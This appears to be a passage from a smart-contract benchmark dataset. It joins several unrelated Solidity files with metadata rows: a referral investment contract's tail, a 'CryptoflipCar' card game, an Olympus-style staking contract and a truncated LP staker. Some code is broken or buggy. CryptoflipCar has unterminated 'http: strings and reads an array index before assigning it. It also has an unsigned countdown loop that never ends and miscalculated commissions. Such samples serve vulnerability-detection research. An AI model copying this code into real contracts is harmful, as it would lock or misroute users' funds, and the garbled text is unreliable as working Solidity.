levelIncomes[_ref].level7 = levelIncomes[_ref].level7.add(_refAmount);
}
if(i==7){
_refAmount = (_investment.mul(REFERENCE_LEVEL8_RATE)).div(1000);
levelIncomes[_ref].level8 = levelIncomes[_ref].level8.add(_refAmount);
}
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref].availableReferrerEarnings);
}
_ref = uid2Investor[_ref].referrer;
}
}
}
function withdrawDevelopmentFund() public {
require(msg.sender==developerAccount_, "you are not the developer");
msg.sender.transfer(developerWallet_);
developerWallet_ = 0;
}
function withdrawMarketingFund() public {
require(msg.sender==marketingAccount_, "you are not eligible");
msg.sender.transfer(marketingWallet_);
marketingWallet_ = 0;
}
function getTotalDeposits() public view returns(uint256 _amount){
uint256 amount;
Objects.Investor storage investor = uid2Investor[address2UID[msg.sender]];
for(uint256 i=0;i<uid2Investor[address2UID[msg.sender]].planCount;i++){
if(investor.plans[i].isExpired==false)
amount = amount.add(investor.plans[i].investment);
}
return amount;
}
function getLevelwiseIncome(uint256 _id,uint256 _level) public view returns(uint256){
if(_level==1){
return levelIncomes[_id].level1;
}
if(_level==2){
return levelIncomes[_id].level2;
}
if(_level==3){
return levelIncomes[_id].level3;
}
if(_level==4){
return levelIncomes[_id].level4;
}
if(_level==5){
return levelIncomes[_id].level5;
}
if(_level==6){
return levelIncomes[_id].level6;
}
if(_level==7){
return levelIncomes[_id].level7;
}
if(_level==8){
return levelIncomes[_id].level8;
}
}
function getAmountWithdrawn(uint256 _id) public view returns(uint256){
return amountWithdrawn[_id];
}
}
| 281,967 | 10,620 |
cb9f82c50152581b621582d6cb6c92a5122b7cb0b28dc093aece4c1ee1b0ff3e
| 11,853 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x7e2adafce6033c1272708b58aeab1164017417d2.sol
| 4,016 | 11,759 |
pragma solidity ^0.4.18;
contract CryptoflipCar {
address ownerAddress = 0x3177Abbe93422c9525652b5d4e1101a248A99776;
address foundTeamAddress = 0x30A38029bEd78159B0342FF9722C3B56479328D8;
struct WhaleCard {
address ownerAddress;
uint256 curPrice;
}
struct Company {
string name;
address ownerAddress;
uint256 curPrice;
bool is_released;
}
struct Make {
string name;
address ownerAddress;
uint256 curPrice;
uint256 companyId;
bool is_released;
}
struct Car {
string name;
address[] ownerAddresses;
uint256 curPrice;
uint256 companyId;
uint256 makeId;
bool is_released;
}
struct Adv {
string text;
string link;
uint256 card_type;
uint256 curPrice;
address ownerAddress;
uint256 cardId;
}
Company[] companies;
Make[] makes;
Car[] cars;
Adv[] advs;
WhaleCard whalecard;
modifier onlyOwner() {
require (msg.sender == ownerAddress);
_;
}
bool companiesAreInitiated = false;
bool makesAreInitiated = false;
bool carsAreInitiated = false;
bool whalecardAreInitiated = false;
bool isPaused = false;
function pauseGame() public onlyOwner {
isPaused = true;
}
function playGame() public onlyOwner {
isPaused = false;
}
function GetIsPauded() public view returns(bool) {
return(isPaused);
}
function purchaseAdv(uint256 _cardType, uint256 _cardId, string _text, string _link) public payable {
require(msg.value >= advs[_advId].curPrice);
require(isPaused == false);
uint256 _advId;
bool is_adv = false;
for (uint i=0; i < advs.length; i++) {
if (advs[i].card_type == _cardType && advs[i].cardId == _cardId){
_advId = i;
is_adv = true;
}
}
require(is_adv == true);
uint256 totalpercent = 160;
uint256 commission5percent = (msg.value * 5 / totalpercent);
foundTeamAddress.transfer(commission5percent);
uint256 commissionOwner = msg.value - commission5percent;
if (advs[_advId].card_type == 0){
companies[advs[_advId].cardId].ownerAddress.transfer(commission5percent);
commissionOwner = commissionOwner - commission5percent;
} else if (advs[_advId].card_type == 1) {
makes[advs[_advId].cardId].ownerAddress.transfer(commission5percent);
commissionOwner = commissionOwner - commission5percent;
} else if (advs[_advId].card_type == 2) {
makes[advs[_advId].cardId].ownerAddress.transfer(commission5percent);
commissionOwner = commissionOwner - commission5percent;
}
advs[_advId].ownerAddress.transfer(commissionOwner);
advs[_advId].ownerAddress = msg.sender;
advs[_advId].curPrice = div(mul(advs[_advId].curPrice, totalpercent), 100);
advs[_advId].text = _text;
advs[_advId].link = _link;
}
function purchaseWhaleCard() public payable {
require(msg.value >= whalecard.curPrice);
require(isPaused == false);
require(whalecardAreInitiated == true);
uint256 totalpercent = 155;
uint256 commission5percent = div(mul(msg.value, 5) , totalpercent);
foundTeamAddress.transfer(commission5percent);
uint256 commissionOwner = msg.value - commission5percent;
whalecard.ownerAddress.transfer(commissionOwner);
whalecard.ownerAddress = msg.sender;
whalecard.curPrice = div(mul(whalecard.curPrice, totalpercent), 100);
}
function purchaseCard(uint256 _cardType, uint256 _cardId) public payable {
require(isPaused == false);
uint256 totalpercent = 150;
uint256 ownercount = 0;
if (_cardType == 0){
require(companies[_cardId].is_released == true);
require(msg.value >= companies[_cardId].curPrice);
totalpercent = totalpercent + 5;
} else if (_cardType == 1) {
require(makes[_cardId].is_released == true);
require(msg.value >= makes[_cardId].curPrice);
totalpercent = totalpercent + 5 + 2;
} else if (_cardType == 2) {
require(cars[_cardId].is_released == true);
require(msg.value >= cars[_cardId].curPrice);
uint256 len = cars[_cardId].ownerAddresses.length;
ownercount = 1;
if (cars[_cardId].ownerAddresses.length > 4){
ownercount = 3;
} else {
ownercount = len-1;
}
totalpercent = 150 + 5 + 2 + 2 + mul(ownercount, 2);
}
uint256 commissionOwner = msg.value;
uint256 commission1percent = div(mul(msg.value, 1) , totalpercent);
if (whalecardAreInitiated == true){
totalpercent = totalpercent + 1;
whalecard.ownerAddress.transfer(commission1percent);
commissionOwner = commissionOwner - commission1percent;
}
uint256 commission5percent = mul(commission1percent, 5);
foundTeamAddress.transfer(commission5percent);
commissionOwner = commissionOwner - commission5percent;
uint256 commission2percent = mul(commission1percent, 2);
if (_cardType == 0){
companies[_cardId].ownerAddress.transfer(commissionOwner);
companies[_cardId].ownerAddress = msg.sender;
companies[_cardId].curPrice = div(mul(companies[_cardId].curPrice, totalpercent), 100);
} else if (_cardType == 1) {
uint256 companyId = makes[_cardId].companyId;
companies[companyId].ownerAddress.transfer(commission2percent);
commissionOwner = commissionOwner - commission5percent;
makes[_cardId].ownerAddress.transfer(commissionOwner);
makes[_cardId].ownerAddress = msg.sender;
makes[_cardId].curPrice = div(mul(makes[_cardId].curPrice, totalpercent), 100);
} else if (_cardType == 2){
companyId = makes[_cardId].companyId;
companies[companyId].ownerAddress.transfer(commission2percent);
commissionOwner = commissionOwner - commission2percent;
uint256 makeId = cars[_cardId].makeId;
makes[makeId].ownerAddress.transfer(commission2percent);
commissionOwner = commissionOwner - commission2percent;
if (len > 1){
for (uint i=len-2; i>=0; i--) {
if (i > len-5){
cars[_cardId].ownerAddresses[i].transfer(commission2percent);
commissionOwner = commissionOwner - commission2percent;
}
}
}
cars[_cardId].ownerAddresses[len-1].transfer(commissionOwner);
cars[_cardId].ownerAddresses.push(msg.sender);
if (ownercount < 3) totalpercent = totalpercent + 2;
cars[_cardId].curPrice = div(mul(cars[_cardId].curPrice, totalpercent), 100);
}
}
function getCompanyCount() public view returns (uint) {
return companies.length;
}
function getMakeCount() public view returns (uint) {
return makes.length;
}
function getCarCount() public view returns (uint) {
return cars.length;
}
function getWhaleCard() public view returns (address ownerAddress1,
uint256 curPrice){
ownerAddress1 = whalecard.ownerAddress;
curPrice = whalecard.curPrice;
}
function getCompany(uint256 _companyId) public view returns (string name,
address ownerAddress1,
uint256 curPrice,
bool is_released,
uint id) {
Company storage _company = companies[_companyId];
name = _company.name;
ownerAddress1 = _company.ownerAddress;
curPrice = _company.curPrice;
is_released = _company.is_released;
id = _companyId;
}
function getMake(uint _makeId) public view returns (string name,
address ownerAddress1,
uint256 curPrice,
uint256 companyId,
bool is_released,
uint id) {
Make storage _make = makes[_makeId];
name = _make.name;
ownerAddress1 = _make.ownerAddress;
curPrice = _make.curPrice;
companyId = _make.companyId;
is_released = _make.is_released;
id = _makeId;
}
function getCar(uint _carId) public view returns (string name,
address[] ownerAddresses,
uint256 curPrice,
uint256 companyId,
uint256 makeId,
bool is_released,
uint id) {
Car storage _car = cars[_carId];
name = _car.name;
ownerAddresses = _car.ownerAddresses;
curPrice = _car.curPrice;
makeId = _car.makeId;
companyId = _car.companyId;
is_released = _car.is_released;
id = _carId;
}
function getAdv(uint _cardType, uint _cardId) public view returns (string text,
string link,
uint256 card_type,
address ownerAddress1,
uint256 curPrice,
uint256 cardId) {
Adv storage _adv = advs[0];
for (uint i=0; i < advs.length; i++) {
if (advs[i].card_type == _cardType && advs[i].cardId == _cardId){
_adv = advs[i];
}
}
text = _adv.text;
link = _adv.link;
ownerAddress1 = _adv.ownerAddress;
curPrice = _adv.curPrice;
cardId = _adv.cardId;
card_type = _adv.card_type;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint c = a / b;
return c;
}
function InitiateCompanies() public onlyOwner {
require(companiesAreInitiated == false);
addCompany('Aston Martin',ownerAddress, 100000000000000000);
addCompany('BMW',ownerAddress, 100000000000000000);
addCompany('Ferrari',ownerAddress, 100000000000000000);
addCompany('Honda',ownerAddress, 100000000000000000);
companiesAreInitiated = true;
}
function addCompany(string name, address address1, uint256 price) public onlyOwner {
uint companyId = companies.length++;
companies[companyId].name = name;
companies[companyId].curPrice = price;
companies[companyId].ownerAddress = address1;
companies[companyId].is_released = true;
uint advId = advs.length++;
advs[advId].text = 'Your Ad here';
advs[advId].link = 'http:
advs[advId].curPrice = 5000000000000000;
advs[advId].card_type = 0;
advs[advId].ownerAddress = address1;
advs[advId].cardId = companyId;
}
function setReleaseCompany(uint256 _companyId, bool is_released) public onlyOwner {
companies[_companyId].is_released = is_released;
}
function InitiateMakes() public onlyOwner {
require(makesAreInitiated == false);
addMake('DB5',ownerAddress,0,10000000000000000);
addMake('DB6',ownerAddress,0,10000000000000000);
addMake('DB9',ownerAddress,0,10000000000000000);
addMake('One-77',ownerAddress,0,10000000000000000);
makesAreInitiated = true;
}
function addMake(string name, address address1, uint256 companyId, uint256 price) public onlyOwner {
uint makeId = makes.length++;
makes[makeId].name = name;
makes[makeId].curPrice = price;
makes[makeId].ownerAddress = address1;
makes[makeId].companyId = companyId;
makes[makeId].is_released = true;
uint advId = advs.length++;
advs[advId].text = 'Your Ad here';
advs[advId].link = 'http:
advs[advId].curPrice = 5000000000000000;
advs[advId].card_type = 1;
advs[advId].ownerAddress = address1;
advs[advId].cardId = makeId;
}
function InitiateCars() public onlyOwner {
require(carsAreInitiated == false);
addCar('1964 DB5 James Bond Edition',ownerAddress, 0, 0, 5000000000000000);
addCar('Blue 1965 ',ownerAddress, 0, 0, 5000000000000000);
addCar('1964 DB5 James Bond Edition',ownerAddress,0,0,5000000000000000);
addCar('Blue 1965 ',ownerAddress,0,0,5000000000000000);
carsAreInitiated = true;
}
function InitiateWhaleCard() public onlyOwner {
require(whalecardAreInitiated == false);
whalecard.ownerAddress = ownerAddress;
whalecard.curPrice = 100000000000000000;
whalecardAreInitiated = true;
}
function addCar(string name, address address1, uint256 companyId, uint256 makeId, uint256 price) public onlyOwner {
uint carId = cars.length++;
cars[carId].name = name;
cars[carId].curPrice = price;
cars[carId].ownerAddresses.push(address1);
cars[carId].companyId = companyId;
cars[carId].makeId = makeId;
cars[carId].is_released = true;
uint advId = advs.length++;
advs[advId].text = 'Your Ad here';
advs[advId].link = 'http:
advs[advId].curPrice = 5000000000000000;
advs[advId].card_type = 2;
advs[advId].ownerAddress = address1;
advs[advId].cardId = carId;
}
function setReleaseCar(uint256 _carId, bool is_released) public onlyOwner {
cars[_carId].is_released = is_released;
}
function setReleaseMake(uint256 _makeId, bool is_released) public onlyOwner {
makes[_makeId].is_released = is_released;
}
}
| 161,794 | 10,621 |
b3361d5eefc9aad5216f6337f28373e671ae6bf2b8a6c52840d72675ac8b8eb2
| 25,983 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/dc/dc5e8425B0bDBd42B3F938a8dC27b94849c9eCB9_LodgeStaking.sol
| 4,363 | 17,600 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IMemo is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract LodgeStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IMemo;
IERC20 public immutable Time;
IMemo public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = IERC20(_Time);
require(_Memories != address(0));
Memories = IMemo(_Memories);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Time.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(Memories.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
Memories.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = Memories.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = Memories.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Time.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
Memories.safeTransferFrom(msg.sender, address(this), _amount);
Time.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return Memories.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
Memories.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = Memories.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Time.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 122,020 | 10,622 |
7130a04d21298d28b638607f4ee22a450b0b3d8f54ad80703713a7fed6d0802d
| 16,961 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xBeaaAd49Eb6E024E1e84B6f2cB21b9998AF8f990/contract.sol
| 3,872 | 14,813 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IPancakeERC20 {
function balanceOf(address owner) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
abstract contract RewardContract {
function getBalance() external view virtual returns (uint256);
function giveReward(address recipient, uint256 amount) external virtual returns (bool);
}
contract BTRILPStaker is Ownable {
using SafeMath for uint256;
IPancakeERC20 public immutable _BTriBnbPairContract; // BTRI-BNB Pair contract
RewardContract public _rewardContract; // reward contract
mapping (address => StakerInfo) private _stakeMap; // map for stakers
address[] private _stakers; // staker's array
address private _devWallet; // dev _devWallet
uint256 private _devRewardPct; // dev reward percentation;
uint256 private _devLastBlockNumber; // dev last block number that calcuated reward
uint256 private _rewardAmountPerBlock = 1; // bTri 0.01 (1/100) per block
bool private _unstakeAllow;
struct StakerInfo {
uint256 stakedAmount;
uint256 lastSnapShotIndex;
uint256 lastClaimBlockNumber;
uint256 rewardAmount;
}
uint256 public _lockTime;
uint256 public _unlockCountdownTime = 2 days;
SNAPSHOT[] private snapShotHistory;
struct SNAPSHOT {
uint256 blockNumber;
uint256 totalStakedAmount;
}
// Events
event Staked(address indexed staker, uint256 amount);
event Unstaked(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 amount);
event RewardContractUpdated(address indexed rewardContract);
event RewardAmountPerBlockUpdated(uint256 rewardAmountPerBlock);
event Live(uint256 liveTimestamp);
event UnstakeAllowed();
event DevWalletUpdated(address indexed devWallet);
event DevRewardPctUpdated(uint256 devRewardPct);
event LockTimeUpdated(uint256 lockTime);
constructor (IPancakeERC20 BTriBnbPairContract, address devWallet, uint256 devRewardPct, uint256 lockTime) public {
_BTriBnbPairContract = BTriBnbPairContract;
setDevWallet(devWallet);
setDevRewardPct(devRewardPct);
setLockTime(lockTime);
}
function stake(uint256 amount) public {
updateUnstakeAllow();
require(_BTriBnbPairContract.transferFrom(_msgSender(),
address(this),
amount),
"BTriLPStaker: stake failed.");
uint256 currentBlockNumber = block.number;
if(_stakeMap[_msgSender()].stakedAmount == 0)
_stakers.push(_msgSender());
else
_stakeMap[_msgSender()].rewardAmount = calcReward(_msgSender(), currentBlockNumber);
_stakeMap[_msgSender()].stakedAmount = _stakeMap[_msgSender()].stakedAmount.add(amount);
uint256 currentTotalStakedAmount= snapShotHistory.length > 0 ? snapShotHistory[snapShotHistory.length - 1].totalStakedAmount : 0;
if(snapShotHistory.length > 0 && snapShotHistory[snapShotHistory.length-1].blockNumber == currentBlockNumber) {
snapShotHistory[snapShotHistory.length-1].totalStakedAmount = currentTotalStakedAmount.add(amount);
} else {
SNAPSHOT memory snapShot = SNAPSHOT({
blockNumber: currentBlockNumber,
totalStakedAmount: currentTotalStakedAmount.add(amount)
});
snapShotHistory.push(snapShot);
}
_stakeMap[_msgSender()].lastSnapShotIndex = snapShotHistory.length - 1;
_stakeMap[_msgSender()].lastClaimBlockNumber = 0;
emit Staked(_msgSender(), amount);
}
function unstake(uint256 amount) public {
updateUnstakeAllow();
require(_unstakeAllow, "BTriLPStaker: unstake not allowed");
require(_stakeMap[_msgSender()].stakedAmount >= amount,
"BTriLPStaker: unstake amount exceededs the staked amount.");
uint256 currentBlockNumber = block.number;
